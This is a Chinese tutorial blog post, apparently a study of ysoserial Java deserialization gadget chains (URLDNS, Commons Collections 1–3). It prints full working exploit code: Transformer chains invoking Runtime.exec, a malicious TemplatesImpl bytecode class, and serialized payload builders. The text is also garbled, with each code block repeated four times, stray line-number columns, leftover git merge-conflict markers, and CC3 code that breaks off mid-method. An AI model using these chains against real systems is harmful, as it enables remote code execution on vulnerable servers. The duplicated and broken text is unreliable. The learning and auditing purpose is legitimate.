再谈Java反序列化:ysoserial补全计划(一)

前言

整体跟着 su18 师傅的博客进行学习,写的真的很详细:

Java 反序列化取经路 | 素十八 (su18.org)

以 ysoserial 的众多链子为抓手,再谈 java 反序列化,也许可以注意到之前没有注意过的问题,也可以提高代码审计的水平。

URLDNS

最简单且有用的链子,不依赖任何依赖和 jdk 版本,仅使用 hashmap 和 url 这两个 jdk 自带的类。

通常用来检测是否存在反序列化漏洞。

前置知识

sink点就是我们需要触发的漏洞点。这条链子的 sink 是 Java 内置的 java.net.URL 类的 hashCode 方法,其和 equals 方法一样,会触发一次 url 解析,跟一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://pazuris.dnslog.cn");
url.hashCode();
}

}
```java
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://pazuris.dnslog.cn");
url.hashCode();
}

}

```java
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://pazuris.dnslog.cn");
url.hashCode();
}

}
```java
import java.net.URL;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://pazuris.dnslog.cn");
url.hashCode();
}

}



这里进行了一个判断,如果 hashCode 的值不是 -1 ,说明已经计算过 hashCode,会直接返回之前的计算结果,当然也不会有后面解析 url 的操作。调用了 URLStreamHandler 的 hashCode:

调用 getHostAddress 处理 url ,触发 url 请求。

入口类就是重写了 readObject 的类,通过反序列化自动调用该类的 readObject 方法,最终链到 sink 点,这条链子的入口类是 java 自带的 hashmap 类,看一下他的 readObject 方法:

关键是这里,为了去重,需要对 key 进行 hash 处理,然后调用 key 的 hashCode 方法,只要我们传入的 key 的类型是 URL 就可以到达 sink 点。

攻击构造

调用链展示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
```text
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

```text
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
```text
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()


readObject 是重新构建了一个 HashMap 对象,将 keys 和 values 放入 mapping 然后去重,依常识看,开始构建 HashMap 的时候就需要去重,所以 put 方法里面也会有对 key 调用 hash。

也就是说我们把 URL 对象放进去的时候就会解析一次,这样就区分不出是不是反序列化导致的解析,为了不让他自动解析,我们需要在 put 前将 hashcode 属性设为非 -1,put 后再改回来(通过反射来改)。完整的 URL-DNS 链代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://75391fc5f0.ipv6.1433.eu.org.");
Field hashcode = url.getClass().getDeclaredField("hashCode");
HashMap<URL,Integer> hashMap = new HashMap<>();
hashcode.setAccessible(true);
hashcode.set(url,1);
hashMap.put(url,1);
hashcode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin"));
ois.readObject();
}

}
```java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://75391fc5f0.ipv6.1433.eu.org.");
Field hashcode = url.getClass().getDeclaredField("hashCode");
HashMap<URL,Integer> hashMap = new HashMap<>();
hashcode.setAccessible(true);
hashcode.set(url,1);
hashMap.put(url,1);
hashcode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin"));
ois.readObject();
}

}

```java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://75391fc5f0.ipv6.1433.eu.org.");
Field hashcode = url.getClass().getDeclaredField("hashCode");
HashMap<URL,Integer> hashMap = new HashMap<>();
hashcode.setAccessible(true);
hashcode.set(url,1);
hashMap.put(url,1);
hashcode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin"));
ois.readObject();
}

}
```java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://75391fc5f0.ipv6.1433.eu.org.");
Field hashcode = url.getClass().getDeclaredField("hashCode");
HashMap<URL,Integer> hashMap = new HashMap<>();
hashcode.setAccessible(true);
hashcode.set(url,1);
hashMap.put(url,1);
hashcode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin"));
ois.readObject();
}

}


可以拿个 dnslog 平台自行测试一下:
https://dig.pm/

Commons Collections 1

前置知识

Transformer接口
Transformer 是一个接口类,提供了一个对象转换方法 transform (接收一个对象,然后对对象作一些操作并输出)

反序列化中常用的三个实现类:ConstantTransformerInvokerTransformerChainedTransformer

分别看一下这四个实现类的 transform 方法的逻辑:

ConstantTransformer:传入什么输出什么

InvokerTransformer:任意方法调用,典型的 sink 点

动手试一试(这里是 ubuntu 下弹计算器,jdk1.8u60,cc3.2.1):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
```java
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}

```java
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
```java
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}


ChainedTransformer:接受一个数组,链式调用,前一个输出作为后一个输入

链式调用来自动调用方法,将三个类组合起来用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
});
chain.transform(new Object());
}
}
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
});
chain.transform(new Object());
}
}

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
});
chain.transform(new Object());
}
}
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
public static void main(String[] args) {

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
});
chain.transform(new Object());
}
}


攻击构造

TransformedMap版

找调用了 transform 的非 transformer 接口实现类,这里先看 TransformerMap(顾名思义,接受 key 和 value 并且调用 transform 进行转换,且这两个转换的 transform 由通过构造方法传入的参数进行指定):

但由于构造方法是 protected ,只能通过调用 decorate 方法来新建对象:

使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。

故我们现在的目标是要找到一个重写了 readObject 的类,并且在 readObject 中可以改变 map 的值,找到了sun.reflect.annotation.AnnotationInvocationHandler 这个类,其实现了 InvocationHandler 接口。

先看一下这个类的构造方法:

接收两个参数,第一个参数是 Annotation 实现类的 Class 对象(注解类),第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。其中 memberValues 就是用来触发的 Map。

看 readObject 中如何处理 memberValues:

由于源代码的变量名太恶心了,这里直接给结论了:我们传入的 Map 的 key 中要有注解类中存在的属性(就是我们构造方法传入的第一个参数的属性,可以使用 Generated 类里面的comments 属性,用什么都行其实,随便找个注解类的属性),但是值不是对应的实例,也不是 ExceptionProxy 对象。

完整代码如下(注意 chain 转换 value,别转前面那个属性名 comments):
<<<<<<< HEAD

image.png

406171c22fb30a971c9894c9dd387c638582b7ae

LazyMap版

除了用 TransformedMap,还可以用 LazyMap 来触发。LazyMap 通过 get() 方法获取不到 key 的时候触发 transform 。看看源码:


一样是通过 decorate 方法传入我们构造好的恶意 chain 。

AnnotationInvocationHandler 的 invoke 方法可以调用 map 的 get 方法。

至于 invoke 方法怎么触发,一句话总结:被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke 方法。
序列化数据构造方案:在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap。
这样在反序列化的时候就会调用 AnnotationInvocationHandler 的 invoke 方法,进而可以调用 get 方法。

前面构造 chain 的代码完全一样,后面改用 LazyMap :

调用链展示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
```text
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

```text
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
```text
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()


Commons Collections 2

和后面要用到优先级队列的一样,依赖要 commons-collections4 : 4.0

前置知识

PriorityQueue

优先级队列,要不放入 PriorityQueue 中的元素实现 Comparable 接口,要不提供一个 Comparator 对象用来排序,而后面这个就给了我们可乘之机。

而在反序列化的时候,如果提供了 Comparator ,则会自动调用 Comparator 的 compare 方法来排序,故后面会作为入口类。

TransformingComparator

这个看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 transform 转换,再传递给 Comparator 比较。
刚好可以把这个 PriorityQueue 和 Transform 连接在一起。

攻击构造

任意方法调用

其实和 cc1 差不多,还更简单:

这里需要注意的是,在初始化 PriorityQueue 时没有指定 comparator,而是使用反射写入,这是为了避免在向 queue 中添加内容时触发排序而导致触发恶意 payload(还没发出去先弹了自己计算器)。

恶意类加载

还记得学习 FastJson 的反序列化漏洞的时候提到的 TemplatesImpl,能够将字节码动态加载为类,并使用 newInstance 方法,从而触发恶意类里面 static 部分代码,实现攻击。

FastJson 里面的调用链是这样的,getOutputProperties()->newTransformer()->getTransletInstance(),选择 getOutputProperties 作为入口是因为他是 public ,而且 FastJson 反序列化会自动调用 get 开头的方法。而在 CC2 链里面,我们可以使用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法,从而完成攻击。

上次 FastJson 没有特意提,这里提一下,如果在构造恶意类的时候没有继承AbstractTranslet 类的话,_transletIndex索引的值默认为-1,那么getTransletInstance 方法中_class属性调用 newInstance 方法实例化恶意类的时候就会失败(AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();),因此构造恶意类必须要继承 AbstractTranslet 类。

恶意类如下(用 javac 指令编译成 class):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

```java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}


```java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

```java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}



完整攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;;
import java.util.PriorityQueue;


public class CC2 {
public static void main(String[] args) throws Exception{
// get bytecodes
InputStream inputStream = CC2.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get PriorityQueue
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
// get TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");
// use InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
// use transformingComparator as priorityQueue's comparator
TransformingComparator transformingComparator = new TransformingComparator(transformer);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
//use {templates,templates} as queue
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
ois.readObject();

}
}
```java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;;
import java.util.PriorityQueue;


public class CC2 {
public static void main(String[] args) throws Exception{
// get bytecodes
InputStream inputStream = CC2.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get PriorityQueue
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
// get TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");
// use InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
// use transformingComparator as priorityQueue's comparator
TransformingComparator transformingComparator = new TransformingComparator(transformer);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
//use {templates,templates} as queue
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
ois.readObject();

}
}

```java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;;
import java.util.PriorityQueue;


public class CC2 {
public static void main(String[] args) throws Exception{
// get bytecodes
InputStream inputStream = CC2.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get PriorityQueue
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
// get TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");
// use InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
// use transformingComparator as priorityQueue's comparator
TransformingComparator transformingComparator = new TransformingComparator(transformer);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
//use {templates,templates} as queue
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
ois.readObject();

}
}
```java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;;
import java.util.PriorityQueue;


public class CC2 {
public static void main(String[] args) throws Exception{
// get bytecodes
InputStream inputStream = CC2.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get PriorityQueue
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
// get TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");
// use InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
// use transformingComparator as priorityQueue's comparator
TransformingComparator transformingComparator = new TransformingComparator(transformer);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
//use {templates,templates} as queue
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
ois.readObject();

}
}


和上一种攻击构造还有一点不同的值得说一下,由于上一种通过比较器就完成了,就不需要管队列里的值具体是什么,而这种需要队列里是 TemplatesImpl ,结合比较器触发 newTransformer ,所以要多一步给队列赋值的操作。这张图可以看到对我们构造的 TemplatesImpl 进行了比较。另外使用反射 set 的时候并不会直接触发比较,也就是并不用担心在反序列化前弹计算器。

Commons Collections 3

此链利用的是 CC1 的入口 Lazymap 和 CC2 的触发点 TemplatesImpl 动态类加载。

前置知识

TrAXFilter

<<<<<<< HEAD

image.png

406171c22fb30a971c9894c9dd387c638582b7ae
可见通过此类的构造方法可以触发我们传入的 templates 的 newTransformer 方法。

InstantiateTransformer

重点就是需要在反序列化的时候如何自动实例化这个 TrAXFilter。实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance(当然更可以使用 InvokerTransformer 直接调用 TemplatesImpl 的 newTransformer ,就不用经 TrAXFilter),但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

这个 InstantiateTransformer 的 transform 方法会获取传入的 Object 的 class ,然后通过构造方法里的参数类型和参数实例化这个 class 。

攻击构造

直接上代码,LazyMap 和 TemplatesImpl 前面也分析过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;

public class cc3 {
public static void main(String[] args) throws Exception{
InputStream inputStream = cc3.class.getResourceAsStream("evilTemplate.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
// use AnnotationInvocationHandler and LazyMap like cc1
Map lazyMap = LazyMap.decorate(new HashMap(),chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
